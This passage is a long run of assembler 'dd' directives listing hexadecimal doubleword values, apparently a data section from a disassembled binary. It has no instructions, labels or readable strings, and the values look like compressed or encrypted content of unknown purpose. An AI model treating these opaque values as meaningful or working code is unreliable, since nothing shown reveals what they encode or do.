0C42F8207h, 6F07078h, 4300309Ch, 44B72E12h, 0CC73214h dd 7C62ACC1h, 5900F991h, 73663CE5h, 0F70E16h, 17DAB176h dd 35AAD8B2h, 2614B400h, 4AC5753Ah, 0A6D30A68h, 1689469h dd 48F2E3D8h, 0DF8EC4EAh, 8B72D915h, 0DD200850h, 0B7B900C0h dd 0CC03CE13h, 8CB8FB00h, 0E4A55E74h, 82280085h, 0ED9DCDDCh dd 0C02CC18Fh, 0E315F480h, 0A47F005Ch, 69C4BC01h, 3072F01Ah dd 0ACF8FEBBh, 1100E1AFh dd 0F0A069Fh, 3DCFE92Ah, 0A286DBB5h, 28FF16C8h, 796F7301h dd 37FA6832h, 0F0878CCh, 466DDF49h, 0DE5BBAC1h, 9528CCA8h dd 0C35DB300h, 553F18F9h, 0CF1F06Eh, 0C5F5C7A0h, 0D5155ED1h dd 15846D6Bh, 0C6CCABD9h, 18791772h, 2861EB93h, 0AF070CC5h dd 0F775B5CAh, 813BF4C0h, 0DD7738C7h, 0B8F89480h, 18045222h dd 0B4F73209h, 16080035h, 5AB03Eh, 469DC1FFh, 284EDAADh dd 73CA61C1h, 9986CC58h, 181699C4h, 0EA8C6A13h, 6EA4AA00h dd 91EFB3EDh, 0F80F9444h, 80536CC2h, 0C06A3848h, 0A71DACA8h dd 95083B0Fh, 0C2E480A2h, 9500E5Eh, 0C39F9C7Ch, 1AAC1022h dd 0D86723h, 45BBF9E9h, 0D6BE86A6h, 5C6D3C24h, 1DEEA550h dd 0C05F178Ch, 0E62FCF1Ah, 0B7095B59h, 95C8B1h, 71E069BBh dd 0E97E6Fh, 106B30F9h, 159643CAh, 18AE2800h, 0D87338DFh dd 0DEDB00B6h, 9FB0F54Eh, 0D2038BC9h, 8E178D08h, 7D3AA0E6h dd 8CAD00EAh, 0E0290656h, 35076273h, 0DC2E33BAh, 0F0BDDF83h dd 0F8A5E18Dh, 17CECA0h, 0D1D25057h, 0BD552753h, 23728010h dd 7B8D1FF3h, 0A3880094h, 0D3ED3E37h, 80FFBAEAh, 0E20C839h dd 159D51h, 540C809Fh, 789EB6C0h, 288D0ACCh, 0F21B00F9h dd 6CF449A7h, 0BC18C3E5h, 2A9E35Eh, 380A1DBEh, 7E528074h dd 3A9C30D5h, 14B6F00h, 7929E847h, 9DDC14DBh, 0BA807865h dd 5689815Fh, 763EC52Ch, 4EA87F02h, 0B0A66301h, 3963179h dd 108AC7AAh, 56E0AE87h, 0C3002019h, 0D35893F5h, 0CEF81Dh dd 0C69036DAh, 544A47DFh, 0A09C98C1h, 60BC8DEAh, 70C9328h dd 0D494D87Ch, 0DA40303Dh, 0E100849Ch, 352BA1Ah, 7951BCDCh dd 880D007Ah, 9856AEF1h, 2FE7C50Ch, 610303F0h, 0BFBB48E5h dd 8F6AF8DDh, 0E41FA700h, 209D3C80h, 0AFF2AE9h, 741E1474h dd 5B89DCDCh, 2474CE8Eh, 216ACF00h, 0DF134EF2h, 0B1281C00h dd 0EF1227FAh, 0A8151431h, 0E0146853h, 1878DC54h, 18F0D37Eh dd 3A00F134h, 4AB983A2h, 3BA332h, 39EC1AF4h, 0CC8C189Bh dd 0E12BC800h, 899E1679h, 856E14D5h, 1C038C84h, 0C959CCCFh dd 0EC327BD8h, 1D6FC801h, 0AD64AF8Bh, 0E03BCC0h, 48E20D31h dd 9165B7A0h, 4603C54Ch, 0D09C9E24h, 1D3FE13Dh, 19F7CE0h dd 4B7BAE4Fh, 0FC302CA9h, 84008F19h, 0BA42F99Ch, 0F2A51D53h dd 0E85B0108h, 640F98D8h, 3F45E48Dh, 0E3CB03Fh, 414206F7h dd 0B6AB94DFh, 0B99420h, 39032D44h, 119ABB3Ah, 7B728F00h dd 9C4E275Ch, 1848E618h, 987ED4F3h, 23319F59h, 98097883h dd 78DE0880h, 0FBEE497Ch, 29D29300h, 8C10B9B6h, 5C9072Dh dd 609E885Dh, 0C6141ED5h, 60B08700h, 4FCAF30Ch, 89731F35h dd 7BBE01EBh, 20A440C9h, 0C7000B31h, 0FACABFC5h, 1D87B963h dd 86442904h, 789F3A33h, 357EE707h, 805FB182h, 0EE36AD99h dd 282C6121h, 8C541A04h, 60A39EF0h, 0E5761Eh, 8FEBCAA8h dd 0EDCBE18Eh, 12531901h, 41303C60h, 0AFE23180h, 0C721C6FBh dd 18FCACF2h, 15F14F05h, 80002733h, 0D01B0219h, 0B68A0067h dd 1286DE87h, 9F3FB5F2h, 2918FCE3h, 9EA89378h, 6F84286Bh dd 7D0B00ECh, 8B122259h, 3D0926F2h, 300E45D6h, 17F9704h dd 0A8F16358h, 8023BFC8h, 9B437EF1h, 692A082h, 0F58650E8h dd 4200B01Ch, 7DD0021Fh, 0F3DA8BBh, 0F6D53880h, 22E40DC0h dd 7A48D35Fh, 8560C508h, 8AF428h, 0B3361EA7h, 29265FBFh dd 62831D5Ch, 486AB460h, 6F3B4Ch, 2081D2C4h, 0EFC9D446h dd 0CB003270h, 6543D7E4h, 0C03A8547h, 9D990698h, 44129F25h dd 1C412B2Fh, 0E96AAEBBh, 0E08FFF47h, 0AACED036h, 60CD008Ah dd 1C120377h, 26506D9Ah, 4B3A24E4h, 3A8161F1h, 3C24B1F3h dd 9C315662h, 80927F06h, 0F500286Ch, 4E1320B5h, 78ECC5h dd 0EDA45CA0h, 47BF5575h, 48C70900h, 9684736Eh, 30854818h dd 1DE5009Dh, 168694D7h, 9FDF3A00h, 233212Bh, 109072h dd 0EFBC8EAEh, 0A3895B6h, 9DDA9200h, 35F83ED4h, 6D1A0008h dd 11A42053h, 10004F25h, 0E33204BFh, 0E2A5B23h, 0BDB85A26h dd 13D27DC1h, 0D71C207Eh, 23FF40h, 0D8391615h, 6D8A2B8Ch dd 1DC0549h, 5CF51483h, 0BC5A96Ch, 8BD0D0h, 0CB7FFC98h dd 0CA297B46h, 0F48E8329h, 0B4C55904h, 800914D2h, 2F2BDC60h dd 0E7E40175h, 0DBBF1AECh, 0EA8BEC10h, 0BB0B9209h, 4CA43035h dd 7C104988h, 515EE018h, 0B1E61B0Ch, 4C282F1Fh, 4B70F406h dd 87770060h, 0B49037C7h, 0BA01E496h, 4C94E0B3h, 0E4481E8Eh dd 0A99F4492h, 4CEE4090h, 0DD631D77h, 33E020h, 2FBB7B69h dd 7839E7F5h, 0C4F05314h, 805C0988h, 0CFB02008h, 7A1559h dd 0ABB32AEh, 53B39AAAh, 0DFADA502h, 0A75C1DC0h, 3023AEA8h dd 3C390099h, 61321C7Ch, 2700F7FCh, 8C7668Bh, 0DE98135h dd 73913010h, 95F880A9h, 66EABEDFh, 4FA23512h, 8F5008F1h dd 209BAB42h, 968AAE3Bh, 204C48h, 44193EFBh, 16CEC42h dd 8E2216B8h, 50012E5Ch, 88B0A2CCh, 0AFA14F00h, 0C2455F18h dd 12900146h, 6EBBD1Eh, 49330C31h, 130EB44Ch, 0A402B41h dd 7811C4D7h, 778D4800h, 795EA97Ah, 9E372CEEh, 0A6574118h dd 5980519Dh, 0C0B857E0h, 5F601EA9h, 1189B58h, 825DA581h dd 482655ABh, 6048AC4Fh, 7F0422B1h, 0A1B07B5h, 20CD9C3Eh dd 6D0DE0CFh, 67C1700h, 0E3FFAF77h, 0FB8127E2h, 0FC27EA03h dd 3C826680h, 8EFE2C00h, 0BE8BA7EAh, 4322002Fh, 8A9F78B6h dd 0DE3FD6A5h, 0CD478374h, 88DD928Ch, 88F442h, 0F8069501h dd 764F773Eh, 1C99D117h, 0EE41D800h, 0BFD3A9h, 12B0066Ah dd 7BC64294h, 3C7AF000h, 0C70384A3h, 409C6062h, 2C1B4E8Ch dd 476E4B1Dh, 0FD0A4282h, 0ACCF61F0h, 1D7194ECh, 3156A17h dd 0BAA33EE3h, 5BCD8A0h, 0EC529903h, 0D831F276h, 7BA60E06h dd 0A49A003Dh, 0DEF805ABh, 0FE607BBDh, 0DB662138h, 38E60022h dd 9F1F34FAh, 20780F1h, 71951AA4h, 0A382D2h, 0BABDC67Ah dd 226941Ch, 67850EDh, 9BD0A7F9h, 650050E5h, 0D1887767h dd 3281815h, 0AE72D40Eh, 49FEE675h, 8500CDE2h, 0BD3D567Bh dd 1D2B32h, 170F9CB7h, 45B99989h, 0D171B130h, 387F08h dd 8D13949Fh, 88F7CC31h, 0F620A507h, 6CA0AA34h, 143FDF1Bh dd 0DC087CBCh, 98C60A1Dh, 0F1A9718Bh, 382B480Fh, 400B20C1h dd 228363h, 704C7A52h, 0EE78043h, 1C62130Eh, 5E1080BFh dd 527D274h, 46564FBCh, 50CC18B1h, 410123C2h, 0C00C7DDDh dd 20864AA2h, 71979A9Bh, 80D0790Ch, 378C30FAh, 0C0C8EF2Ch dd 0C1366CE9h, 310196EEh, 9B837BD9h, 39824EB1h, 0F75A2CBFh dd 81D582C0h, 0DF63B602h, 409F3C55h, 3F45F53Ch, 31E11EA4h dd 0C04AC780h, 6D00436Ch, 79DE4719h, 0E3FAC2CEh, 0BACF5841h dd 95346451h, 0AB8BDC4Ch, 98BDC86Ch, 7872037Fh, 24947587h dd 3EFD2EB0h, 0C3A18300h, 7BF242E7h, 497A0366h, 0F3E26BD6h dd 726A6380h, 1779E300h, 0A3570613h, 0C9E12A5h, 0C88844F0h dd 88389078h, 0BA00E30Ah, 9DCD40F2h, 111393h, 0D3AF015Ch dd 2A3CE90Dh, 0A73D730Ah, 784BE8BDh, 0F9606043h, 44794F6Bh dd 259C5Ch, 9AF73CF4h, 7461651Ah, 3C2C787Fh, 1DCC6C32h dd 88834901h, 0BC2AA1B7h, 4B030828h, 9E970031h, 53633B61h dd 54A2B100h, 8C7E9ACBh, 6534253Ah, 5033B5D6h, 34489521h dd 0EA714010h, 4B60C76Dh, 1141DF29h, 52B0050h, 4F9316BBh dd 48006BFBh, 0B164D00Dh dd 0E8B9AED6h, 90673B39h, 9A383630h, 0CB036912h, 4B028910h dd 51159173h, 0C96880DEh, 0F9E274h, 0D5357B71h, 0FBC639FDh dd 0B9787A14h, 8E0A7348h, 809F55D0h, 34DA9CE7h, 37CC8200h dd 4833A8h, 71ABE3D1h, 761B4435h, 6B6C9E01h, 2DF8305Dh dd 0A90F1A0h, 0A8FF4999h, 9F52809Ch, 0DB69AA22h, 6F97C8C0h dd 0FC5561F8h, 0AB2E4E6h, 0C87D7A50h, 54498268h, 948532F5h dd 179820C2h, 1AFE693Eh, 38620501h, 964C7015h, 3ADD1E4h dd 87123793h, 0BE8865B6h, 39C02EDBh, 35EE4AC8h, 167D0E6Ch dd 0AC22F9A1h, 7C903640h, 621D878Fh, 419F6153h, 0C207944Fh dd 0A0713578h, 0AB7A3A88h, 0AF4738F6h, 29EAD8Ah, 0D61A8094h dd 5622643Dh, 0F54F3407h, 0FC1029FEh, 0C69B80BCh, 9121C240h dd 28E5F900h, 0D74D0796h, 85B91DEFh, 0B83200D1h, 0F1CB3CBFh dd 8754BC00h, 5E43F39Bh, 0C8651835h, 0FC3A4127h, 0B04F452Ah dd 1D0DC21Bh, 8F76D818h, 9666001Eh, 83C839CAh, 0CF00D00Fh dd 0F454AC75h, 909329B1h, 48FE3A58h, 0A5E6D00h, 0EB7F744Eh dd 0C5E70318h, 3B88CD0h, 225985F4h, 15A8A7CCh, 0F900FDD1h dd 0C698E68Bh, 12069E08h, 20CD2761h, 7E9B3010h, 0C8047C91h dd 21031915h, 19122FF8h, 0C471A7D5h, 3F129B2Eh, 0C0711440h dd 60E3C280h, 35741834h, 817E279Ch, 4849A800h, 9DB7A9ABh dd 0D830308h, 0F6A7692Eh, 38435011h, 0F26A8200h, 6F114EB7h dd 0C8457A01h, 0DCB84269h, 782319C9h, 8378611h, 60CD274Bh dd 3E7CA5B6h, 189CE71Dh, 0EA9E1201h, 219779h, 2EC891h dd 0DA29FBCCh, 3E85BD65h, 19063270h, 20EFE205h, 4CB28800h dd 878C4468h, 1F68B8CEh, 2AF51206h, 86AC09E4h, 835F571Bh dd 0B0A75E78h, 7DB5EE07h, 683D60C6h, 831B8A46h, 68D4200h dd 0F062A303h, 0DC963FD1h, 0EF9D0A00h, 6349F366h, 0B9B2405h dd 0F804A8F7h, 6C8C6E50h, 0B9786005h, 0C6878E43h, 0A9B26807h dd 507433D9h, 0CA57B980h, 0B9453B28h, 2094F712h, 0EA89FAE8h dd 0B4FFDD2Ah, 6DD04600h, 0A6D106E3h, 488D2870h, 0DB4120E4h dd 1BB79022h, 79149F9Ah, 40AE76C9h, 0E29BFAE8h, 2BA71701h dd 0F347BB59h, 200A5426h, 98586705h, 0D8987992h, 0C1FC9500h dd 0C42E508Bh, 225C03F1h, 0D1D0B21Fh, 544497DAh, 0B5ABF71Ah dd 1AB389C1h, 38DC20DCh, 0D191816h, 6A56DE7Dh, 1724D828h dd 0A9CAC600h, 67717CAAh, 5C4476A0h, 5D30900Dh, 4CDDCC50h dd 3C00CC92h, 78CFCBB5h, 0EF9FAE7h, 0BBC36923h, 9966560h dd 0E3E6DD5Dh, 0A8B06F00h, 80CEB1A6h, 999C00C1h, 22B32548h dd 39001C45h, 0BB6AA359h, 383E7596h, 5580DE64h, 0A489C628h dd 56331BDFh, 0F6C948EDh, 43580051h, 0A505D32Eh, 69004757h dd 0E90A444Ah, 0EECAAEh, 4C4FA8A4h, 0CED1271Fh, 7485200h dd 0B8F813BAh, 0FCA01D4h, 20E8993Eh, 70A5F0EFh, 36A94D00h dd 0DF43B141h, 5BBE2615h, 90461989h, 0AF208064h, 44C59EB9h dd 0DAB00079h, 967E655Ch, 617539AAh, 25300500h, 53D9C31Ah dd 0A8FE076Fh, 0B7AD89C8h, 80AF679Bh, 0D13E31EFh, 40114E60h dd 900FB796h, 0B970145h, 0B3F9BF60h, 277085B9h, 704317B5h dd 0E49ACA12h, 57032203h, 729021B8h, 74A12900h, 0FC209252h dd 66E21F04h, 8A05CB2Eh, 45CF4980h, 9907C885h, 3998ABB9h dd 0B7A055B7h, 0FA21B5h, 91A1B3Bh, 6AC40364h, 0A48A712Ah dd 3AB8480Ch, 0A32B199h, 280B1311h, 56F00A0h, 4FBAE604h dd 251BF0FCh, 0DA28A362h, 52D890CDh, 56CF18F6h, 0EACB80F0h dd 0AC45D4E1h, 692660C0h, 58B434h, 0D3C1554Ch, 3AF6CE36h dd 9C7D5600h, 1F0EC2A2h, 473B1F75h, 0C1A80025h, 34F03783h dd 0A22ED02h, 0E00257BDh, 0E047AA7Ch, 7DC0ACDAh, 0A84C505Bh dd 1F760081h, 9AA69B7Dh, 0D4006D25h, 1C7771B0h, 3E6F7Ch dd 95BFD920h, 0A5FFC2B8h, 0BADD8C0h, 1EB152Fh, 28BF492h dd 0E0D6AABBh, 4D289066h, 8700304Fh, 4E8C6F99h, 0B8435781h dd 10560013h, 4C30F709h, 3806CF73h, 7C9BB4ABh, 329E15C0h dd 0AF00A022h, 671D4805h, 4105CE58h, 54E4C7B9h, 0AB779442h dd 0D5444962h, 0B02815F0h, 7FC90BAh, 3E48EB82h, 0C6757693h dd 74D53224h, 0A265F467h, 87F8CC07h, 4302EBA0h, 8CBE0022h dd 0EC318A68h, 4B11F723h, 431F7F4Ah, 971B071h, 40C0922Bh dd 63E75A11h, 0E5B800BBh, 0E9F6937Bh, 0E600C87Ch, 0CE38A37h dd 3076A6h, 8543CAAh, 122C721Dh, 0AF035F00h, 4A3D3317h dd 0C9C70EC0h, 0DDC19C94h, 0FC6D8C15h, 2800465Dh, 0AC104376h dd 0C62067h, 0D6ED938Bh, 0A89D442h, 7632AD00h, 0E4C5AF5Ah dd 0EF50033Bh, 9E28F692h, 5C8CA3B7h, 5F3A47F8h, 0ACC62300h dd 8B39EA13h, 7418002Fh, 466629BFh, 176648B7h, 0EA212068h dd 0EE30004Ah, 0C0EF6A78h, 4F01A3A6h, 925A576Ch, 28803585h dd 1F2E4B2Bh, 23005C8Bh, 41A52566h, 11E52BFh, 0DA6C4C56h dd 8429DDE4h, 0BE9A2681h, 84549818h, 2FC300E9h, 18AAF862h dd 0B8C46EA6h, 4100E9BEh, 0FECD6AFh, 500A3C5Bh, 1F489C1Ah dd 8ADC9A71h, 0D91B7Ch, 0BA739227h, 570004B8h, 3F6DB91Fh dd 152BC7h, 5C8FE82Eh, 9273CA2h, 0E0A43551h, 0B9540380h dd 4E305554h, 0A118917Dh, 4C2D7E7Ch, 4D008115h, 7987B4CCh dd 5900FA86h, 0C0F67F05h, 135356D7h, 39E8C66h, 96AB8AEBh dd 407BA0D1h, 4FE626DCh, 45C0C4ABh, 0F91CA421h, 0D2C032E9h dd 39D11E08h, 794B0F05h, 0A0064ACh, 0B526D637h, 3F84F454h dd 0DDCAB200h, 87039895h, 0D1780004h, 1E804794h, 551FC6B4h dd 0E9408B02h, 0DF324B15h, 0E41B5495h, 0B3DC0003h, 22FDFF47h dd 0F3012CB9h, 0E57F3019h, 0C22287Eh, 5FE2D22h, 2052D000h dd 0ADCF2BB5h, 0EDEC0362h, 0D11593CDh, 0FEC097C2h, 590FBD30h dd 0C1C59A3Eh, 0AF91AEDh, 0C2E382E0h, 75A284B9h, 33FA880h dd 707044A4h, 0E233D400h, 0BFBA4D07h, 36950CD3h, 8D287459h dd 8150AA48h, 4968577Ch, 0A8188822h, 0E52259E7h, 78D5000h dd 74826A66h, 9D100CEAh, 5D71A321h, 197E9B03h, 0C1EF770Fh dd 18236BCEh, 0C0496F37h, 0BCC67A73h, 9FF9105h, 0A004F634h dd 68901130h, 79062A38h, 245A48C9h, 1F7F1410h, 0B0E90CDBh dd 31C6440Ch, 882A5697h, 0B0245472h, 13840070h, 0C429D81h dd 0E700C936h, 0A83C0B8h, 7942FD7h, 89BBFB5Dh, 0EE1070B2h dd 61DF7338h, 1186D4C9h, 3027C8B0h, 0D1ACD118h, 60916D5Ah dd 0D0CD2B04h, 1FFF20CCh, 0B2411352h, 35C0D191h, 0D00E28Ch dd 0BD0899D0h, 762B35Eh, 914E52B2h, 0B92E3053h, 1890ED70h dd 3E740254h, 253CFA43h, 9E3D8900h, 0B815C3C0h, 89694831h dd 945032ACh, 0F62E1951h, 678A00F4h, 9458DA35h, 1B160B66h dd 39067698h, 388ECEh, 8FDE3EBCh, 90F1DA4Fh, 575D821Ch dd 9228B640h, 39B75918h, 0E8D08A39h, 514F009Bh, 6C41230Dh dd 0C854A05Eh, 78A04398h, 0A004F3Fh, 1295A1D3h, 239F1F5h dd 0ACE4CA0Dh, 65604690h, 0C34C4F8h, 0BC02304Bh, 17ECB45h dd 8079A88Dh, 0B01353C9h, 1E1A8F07h, 0AD5A33h, 2C3EF0B1h dd 0A49A2347h, 8A262B00h, 933058BAh, 530C1FBBh, 0D14E809Eh dd 519C394Bh, 29ADAB01h, 3B32F1C6h, 0A046E4h, 7DE12ED7h dd 0D1028814h, 38605000h, 5CE3BE2Dh, 62EB00BFh, 8E03358Ch dd 4F0CC567h, 40CDA42Ah, 309279FAh, 0B5115F7Fh, 0CE00AC7Bh dd 0D8C3E969h, 2AC777h dd 719FDA2Eh, 1C7A1B1Eh, 4C73C100h, 0E7D58550h, 28CE165Bh dd 190A0015h, 0C4D9FCFh, 0F2551A00h, 512D1D0Dh, 0EF60C0ECh dd 6FDB63F8h, 674C5F00h, 43E619A3h, 0E1C13C88h, 69416801h dd 80809354h, 1B07C6E1h, 4EDC1Ch, 0F73A0CD8h, 0B09E881Dh dd 0CDB00E60h, 0F4B7A3h, 0D95A46A7h, 12A6ACBEh, 0CE5C1A03h dd 3CA93Fh, 0ED649428h, 0A297E110h, 84FBE202h, 0A16A0E9Dh dd 0E85F926Ch, 19998450h, 5BF207D6h, 968C510Bh, 0C600715Ah dd 0E5F5070Dh, 7016DC3h, 7D061D23h, 8AE040F9h, 506A718h dd 0E2A499C4h, 25B501C9h, 0C03036E4h, 6A9EF48Fh, 60E7440Ch dd 67B021E5h, 0F0AF6153h, 0FD6352F9h, 0C128B474h, 3C00B039h dd 6D21D7F6h, 2A326C9Fh, 0AC2CD0h, 0DECAC27Ch, 0C1D5E00Fh dd 0ED054B00h, 0E3366958h, 9860D03Eh, 56391CC0h, 6505AE52h dd 6841612Eh, 6010E400h, 0F25DFD4h, 5B76E431h, 59A1CDEFh dd 0DAD19C1h, 64F7AE8h, 383FE696h, 0E500580Dh, 36B8C01Ch dd 7BF60A78h, 26981C72h, 2B86C043h, 0A5BFCCDDh, 323E4873h dd 81AC508Ch, 7C803354h, 0EF0039F6h, 35A5A3D3h, 19D383Ch dd 3D24AEDAh, 0C00EA8E8h, 9200661Dh, 4D05A6C7h, 14494CAh dd 0A13269A2h, 0D19B61ACh, 14FFE0D1h, 5219CB60h, 4EDF6F7h dd 7D67B16Ch, 604300D3h, 0DD64CCh, 1555F107h, 6BF81CFAh dd 4A85000h, 431EF32Fh, 49AA6924h, 9722B380h, 5A0E8544h dd 2003F82Ch, 0A0A7BDC8h, 0EEE57BC7h, 89660521h, 0E4037C3h dd 589F03D7h, 5007B086h, 0ACE27700h, 0E388FDF8h, 0F32A0033h dd 3B7B75C9h, 5C3CC758h, 6CAF0026h, 37BBF1B3h, 6230CACh dd 0B588A38Ch, 1DF81700h, 92BA160h, 0BCE0CEh, 0FF1F0B6h dd 0CA4EAF25h, 4F44560Bh, 0A68780E2h, 204C31h, 9B13E5D0h dd 9A27CEE8h, 243294A0h, 3E9D44h, 5A5E6698h, 0FF08A37Ah dd 4B4D9900h, 802A7D42h, 0C0A70A83h, 86644E56h, 41A92001h dd 8C0EDE4h, 0C95A52D1h, 461B3955h, 0B680D680h, 0ED8F1D96h dd 92187CA4h, 0FA88A6FFh, 0D535001Bh, 42DDF26Ch, 0B1005EEBh dd 6146E630h, 7D312E56h, 60F06084h, 51F293F8h, 0E8C47CF6h dd 9C1070B6h, 3BA0EF00h, 0D0045D12h, 75952600h, 2CE4A7E5h dd 406360F2h, 0DA3B3096h, 820083F4h, 17CC8BCAh, 1724D87h dd 6F0431A9h, 403BAE10h, 368BC050h, 0BE805C0Bh, 0AA800040h dd 1432D7C3h, 0ACCCB750h, 31B63076h, 0B944E60h, 56EB9AA0h dd 0CB474801h, 51141799h, 56DE21E8h, 421984BFh, 50D8E0DBh dd 1AC92EA0h, 73756700h, 435F9EEFh, 81362E4Fh, 48470050h dd 0B9201558h, 0AC9B120Ah, 5D05542Ch, 0C800CC2Bh, 5CCF8439h dd 9D85295Bh, 3E1CBC84h, 0ED3130E9h, 15062C4Eh, 0DB2BF48Bh dd 57A00081h, 0E49F838Fh, 762C84E1h, 0FB0192C7h, 0FEDB28BEh dd 740022h, 5389CA83h, 0DA812293h, 826C2849h, 90C848F7h dd 1FB5DEDCh, 0C013C12Ch, 0C28D0467h, 0DA1E947Ah, 5B006BEFh dd 69D4B71Ch, 9E061BA7h, 0BCC09132h, 8129416h, 642015ADh dd 4514CE34h, 64E760A1h, 1211D860h, 7DAB4Fh, 897B1B75h dd 0BB99A949h, 9EAC6305h, 80410761h, 0C720E312h, 0FC9A184h dd 67709801h, 9DA8CE54h, 33FBFA0Eh, 0BE9640FFh, 0FDEEDFh dd 342B3DA7h, 0D09F207Dh, 0E4600492h, 0E3DD86B9h, 4BA93DAEh dd 0C0CE3900h, 1E617307h, 787C3D04h, 5C80EDD8h, 0A056F75h dd 0B3819A54h, 1DE3048Ch, 922891B2h, 13B180F9h, 7DD6DB1Fh dd 3550BF4Fh, 6D8D5D03h, 0D9AC8AFBh, 0B18925B2h, 0CC20AB24h dd 90072379h, 0B9E88E00h, 75A3C09Fh, 27E60087h, 590556FEh dd 0C0ABBB57h, 0E301D8A2h, 8C50161Eh, 0A8BC7DE4h, 290F4B4h dd 728D9D2Ch, 944049ACh, 0CA7F5943h, 1C321100h, 4B53B2D3h dd 0C7F6F22Dh, 0B07192B9h, 0EA52FB51h, 0A1849900h, 3E442BA0h dd 0D1F31380h, 80808CEh, 0ADFE6380h, 12F7D95h, 0A572DE32h dd 621C6D38h, 5AE30600h, 130FA87h, 593F1C9h, 0F7CE3A2Bh dd 249911A3h, 326045C5h, 90616D14h, 20D202F3h, 0CD485AC9h dd 4BFFDE04h, 34981136h, 0EA6A003Ch, 734A894Eh, 8D7FC06Dh dd 0A8794D24h, 0B4A6290Ah, 2DC6BF80h, 493475F6h, 0E485844Bh dd 40405A21h, 43057C80h, 0B901CCF1h, 4F491147h, 9080E366h dd 59981245h, 0EC0E1BFEh, 4A471C0Dh, 4162BC65h, 34F58ACEh dd 9CFB928Ah, 0C2CBF680h, 19BC4AAh, 1871C13Ah, 0D050E731h dd 0D8003579h, 2AE2A65Ah, 1B7442CBh, 0C1DC29BBh, 43E8B4B8h dd 0DD75D20Eh, 0E6A6E066h, 3FFDF980h, 74A9286Dh, 69F117Ch dd 0F2FE0D9Eh, 9314009Ah, 472B6B10h, 0F62628E8h, 0DA8014CFh dd 31380866h, 423490B8h, 0DF51086Fh, 22279232h, 2CC424B8h dd 76DEF707h, 9A37167Ch, 81AD7540h, 0D71D00D8h, 7DD4A979h dd 3015DF12h, 840269h, 81DDE610h, 0B04C76h, 0FD11C6BEh dd 0C9C70F08h, 156AE76h, 50493CA8h, 0EC0057C8h, 4B081CA9h dd 0E2555h, 4677DF4Eh, 442EAE0Fh, 23BFE109h, 0B1FC9838h dd 69A140E6h, 0E937A400h, 555871Bh, 0B89500EBh, 42C044ECh dd 0FA58624Ch, 778C4399h, 0A1F180E7h, 0F9C27455h, 5AF72E4Bh dd 78F88558h, 0EC48C888h, 31255430h, 3C0F536h, 40AA205Ah dd 8095F779h, 0EB681014h, 18A1B600h, 28A9D96Eh, 175C12C8h dd 0D85C7752h, 75862E87h, 0A3D0F110h, 567E1DACh, 5916800Eh dd 37C41836h, 0E53F709Bh, 8CC829A8h, 0B8A900E4h, 0A07726EDh dd 28006351h, 9425E566h, 247261A7h, 12B8E0E8h, 9870255Ah dd 471D3C48h, 590BA2EAh, 0E494B9ADh, 0C976DC19h, 0D878DB68h dd 7A16EB01h, 53C40E49h, 0CAE02E9Bh, 40BC9D6Ch, 66EC71FBh dd 0A36FF972h, 0AE9E880h, 24A8C9h, 3590BEC2h, 0B400B2C0h dd 784F98F5h, 492BCE58h, 41154CE1h, 881EF094h, 75007F46h dd 1DF5B7EAh, 0A3F7BA8h, 2B5ABA5Fh, 5402D80Eh, 1DCCE11h dd 0FC618DA1h, 0BF00479Dh, 684DA33Ah, 0D4B2DDh, 0FCEB1939h dd 317D1622h, 1B08F90Ch, 70339D0h, 7CAB6243h, 1F54B027h dd 94AE743Bh, 80FC6758h, 256AAED8h, 648C2609h, 8426C298h dd 3C4AA010h, 0F4856F53h, 40F13BEh, 0CD27DAA0h, 0A24440F4h dd 4857198h, 0A56EFE54h, 10D0211Ch, 2D719594h, 9807FCE4h dd 0A989F07Dh, 0EE3FE311h, 88DA7070h, 0FF0FEB33h, 80456D7Ch dd 5556940Dh, 0CCFC1202h, 0FD3098CEh, 0F02C9F4Ah, 1E48841Bh dd 0C8F7CCA8h, 0A26722BBh, 4DB1CB01h, 8F897937h, 2A6ECh dd 78458B75h, 3D7E4FEDh, 0C00E1A26h, 170A03Eh, 0AB960AC9h dd 28FDFE6Dh, 1404A070h, 592F00E2h, 0A2C21E58h, 2805E30Ah dd 0A75C0FBFh, 0FA3648Ch, 3CA45E61h, 0C74600B3h, 0FA7FF5E1h dd 40B8F67Eh, 0D07538A1h, 0BD127996h, 0F898D26Ch, 0BF7B7Bh dd 0D1B3DC88h, 0C885515Fh, 7C4AE00h, 0E920ED6Bh, 0F146035Bh dd 0E577870Bh, 4DFA32A0h, 0FCFE3Ch, 0A520A7A4h, 521157h dd 0BACB7668h, 32F21EEDh, 0AF60F01h, 0EE20611Ah, 3987F0h dd 0D1D8E9C4h, 4A33522Bh, 72DA5B00h, 242D1B91h, 51BE007Ch dd 393A751Dh, 70C0F3B4h, 20C2620Fh, 3C4900D6h, 8F7FF961h dd 4B32DB22h, 20E92808h, 56597279h, 0D703F678h, 0C0106E8h dd 32C00042h, 11C8712Fh, 0D8E87779h, 1164506h, 18213FCEh dd 4819A562h, 170020C6h, 0F2E50E92h, 3141CA8Bh, 0E70EDD91h dd 0FC18433Ch, 0AA747900h, 949E78DFh, 569F005Ah, 0DDD2CCD4h dd 0C6EE04C5h, 5B320A00h dd 4792119Eh, 4E6C30F1h, 81F7B4A9h, 3A15D971h, 19C041Eh dd 0B0B7D1D2h, 6BCCAC83h, 854C004Bh, 0B0C3643h, 4202262Fh dd 93F2F1E2h, 1E70832Dh, 9F41093Bh, 0CD8FD4DBh, 37799020h dd 1D00E856h, 0C7A01FFCh, 0F91E75h, 8EB09113h, 3F61ADDEh dd 4FB67718h, 74E5F298h, 0F0E9C880h, 84B6A680h, 6B23B1h dd 0B9855E3Fh, 3A18D23Eh, 0C5E1580Eh, 2CA3CFA7h, 0F8A4AAE2h dd 7BC3CADh, 170B7300h, 9FD6FFEEh, 2500E7E2h, 1B808192h dd 2FAF583h, 24C1DA71h, 5C407747h, 0C200D8C9h, 0A87FABB3h dd 370713CAh, 0A008CE2Fh, 23A3DC9Ah, 0CDB3A100h, 0FA787AA8h dd 0EAE303Ah, 77DC2170h, 0C5003290h, 32D98971h, 1938DF1h dd 898AAD2h, 8EE204F5h, 98DA9C48h, 32A5A8h, 9DB25A1Fh dd 146D927Fh, 0F0F43C00h, 0B976CBD8h, 51DD0F44h, 40783003h dd 141C7487h, 89408E59h, 136784D6h, 472000F0h, 0C99E48D7h dd 223098A4h, 269A98D0h, 0F4C8E9FDh, 0B82424A7h, 69D30755h dd 89E036ECh, 0D2F38919h, 2880DC31h, 4581FF20h, 57C1A69h dd 3078A80h, 4ED313EFh, 0D7F0C10Ch, 0B000C664h, 0FF8BC457h dd 605BA4A1h, 98A7319Ch, 0A3F009B9h, 0FFD269CEh, 0A0955B80h dd 7EF5E7B3h, 2F4F217h, 